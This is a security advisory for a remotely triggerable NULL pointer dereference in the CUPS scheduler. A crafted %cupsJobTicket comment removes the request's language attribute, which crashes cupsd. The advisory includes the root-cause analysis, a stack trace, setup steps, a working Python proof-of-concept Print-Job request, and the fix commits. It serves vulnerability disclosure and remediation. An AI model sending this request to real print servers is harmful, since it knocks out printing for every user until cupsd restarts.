Skip to content

GHSA-58wv-9ffm-5w78

CVE Information

Summary

A NULL pointer dereference in cupsdContinueJob() allows an unauthenticated client that can submit print jobs to crash cupsd with a single Print-Job request.

A PostScript/PDF document containing:

%cupsJobTicket: attributes-natural-language=xx

causes read_job_ticket() to replace the request's valid attributes-natural-language operation attribute with a keyword attribute. When the job starts, cupsdContinueJob() looks it up specifically as IPP_TAG_LANGUAGE, receives NULL, and dereferences it.

This is a remotely triggerable denial of service (CWE-476). I reproduced it reliably against the official CUPS v2.4.20 release build without authentication.

Details

The issue is caused by the interaction between job-ticket attribute replacement in scheduler/ipp.c and an unchecked lookup in scheduler/job.c.

For PostScript/PDF jobs, print_job() calls read_job_ticket(con):

read_job_ticket(con);

A document containing:

%cupsJobTicket: attributes-natural-language=xx

is parsed into a JOB-group keyword attribute.

During replacement, read_job_ticket() searches the request for an existing attribute using:

ippFindAttribute(con->request, attr->name, IPP_TAG_ZERO)

This lookup is not restricted by attribute group. It therefore finds the legitimate OPERATION-group attributes-natural-language attribute and removes it.

The replacement created by cupsEncodeOptions() is a keyword/string attribute rather than an IPP_TAG_LANGUAGE attribute.

The modified request is later stored as the job's attributes. When the job starts, cupsdContinueJob() performs:

attr = ippFindAttribute(job->attrs, "attributes-natural-language",
                        IPP_TAG_LANGUAGE);

switch (strlen(attr->values[0].string.text))

Because the original LANGUAGE attribute has been removed, the lookup returns NULL. attr is then dereferenced without a NULL check, causing a SIGSEGV.

On v2.4.20 the resulting call stack is:

#0 cupsdContinueJob (...) at scheduler/job.c:956
#1 start_job (...)        at scheduler/job.c:5083
#2 cupsdCheckJobs ()      at scheduler/job.c:418
#3 print_job (...)        at scheduler/ipp.c:9025
#4 cupsdProcessIPPRequest (...) at scheduler/ipp.c:440
#5 cupsdReadClient (...)  at scheduler/client.c:1891

The crash occurs while processing/starting the IPP job, before a document filter or backend is spawned.

The relevant job-ticket protections do not prevent this replacement: attributes-natural-language and attributes-charset are not included in the read-only attribute list, and the duplicate lookup does not restrict the match to the intended attribute group.

I reproduced the issue on:

  • CUPS v2.4.20 release tarball
  • CUPS v2.4.19
  • CUPS 2.4.x HEAD a7bd8ba

This is also not prevented by the request-language validation associated with CVE-2026-61702. That validation occurs before read_job_ticket() modifies the request. The original language attribute is valid when checked and is corrupted only afterward.

Proof of concept

Build CUPS v2.4.20 from the official release tarball using the normal build process:

./configure
make

Use the shipped conf/cupsd.conf. To reproduce from another host, configure cupsd to listen on a reachable address and allow the test client's subnet under <Location />, for example:

Listen 192.168.1.10:8632

The shipped default policy can otherwise remain unchanged. Its Create-Job, Print-Job, Print-URI, and Validate-Job rules do not require authentication.

Create an accepting queue, for example:

lpadmin -p p1 -E -v file:///dev/null

The queue must be shared for remote submission (DefaultShared defaults to Yes, so queues created with lpadmin are shared); with an unshared queue a remote Print-Job is rejected with client-error-not-authorized before the job ticket is read.

Then send the following request from an allowed client:

#!/usr/bin/env python3
import socket
import struct
import sys

HOST = sys.argv[1]
PORT = int(sys.argv[2])

uri = f"ipp://{HOST}:{PORT}/printers/p1"

def attr(tag, name, value):
    value = value.encode()
    return (
        struct.pack(">BH", tag, len(name))
        + name.encode()
        + struct.pack(">H", len(value))
        + value
    )

doc = (
    b"%!PS-Adobe-3.0\n"
    b"%cupsJobTicket: attributes-natural-language=xx\n"
    b"%%Pages: 1\n"
    b"showpage\n"
)

body = struct.pack(">BBHI", 1, 1, 0x0002, 1) + b"\x01"
body += attr(0x47, "attributes-charset", "utf-8")
body += attr(0x48, "attributes-natural-language", "en")
body += attr(0x45, "printer-uri", uri)
body += attr(0x42, "requesting-user-name", "anonymous")
body += attr(0x49, "document-format", "application/postscript")
body += b"\x03" + doc

request = (
    f"POST / HTTP/1.1\r\n"
    f"Host: {HOST}:{PORT}\r\n"
    f"Content-Type: application/ipp\r\n"
    f"Content-Length: {len(body)}\r\n"
    f"Connection: close\r\n\r\n"
).encode() + body

sock = socket.create_connection((HOST, PORT), timeout=25)
sock.sendall(request)

try:
    print(sock.recv(4096))
except Exception as exc:
    print("no response:", exc)

No credentials are supplied.

With the %cupsJobTicket: line present, cupsd terminates with SIGSEGV before returning an IPP response.

As a control, removing that single line causes the same request to return successful-ok (0x0000) and the job completes normally.

The crash was deterministic in testing: 4/4 loopback attempts and 1/1 attempt over a non-loopback LAN connection.

Impact

Any client that is permitted to submit a job to an existing printer queue can terminate the cupsd scheduler with one crafted document. This stops printing for all users until cupsd is restarted.

The primary affected deployments are print servers or shared queues that accept jobs from untrusted network clients. Systems exposing cupsd only on loopback are not remotely reachable through this path.

A robust fix would be to prevent job tickets from replacing protocol-level attributes such as attributes-natural-language and attributes-charset, and to make the replacement lookup group-aware.

cupsdContinueJob() should also validate the result of ippFindAttribute() before dereferencing it.

Fixes

For 2.4.x and earlier, added a fix for not allowing attributes-charset or attributes-natural-language explicitly, limiting the encoded options to job attributes, and adding a JobTicketComments configuration directive to "cups-files.conf" (default disabled) to control whether we even try to use them:

[2.4.x 25d68309b1af89c4b003f27f56ab0f8e7a189ea3] Add JobTicketComments directive, fix job ticket comment support, and disable by default (GHSA-58wv-9ffm-5w78)

For 2.5 and later, removed the code completely:

[master 12237adebf61c9dfac52b1c50e6b555dd58fceb6] Remove job ticket comment support (GHSA-58wv-9ffm-5w78)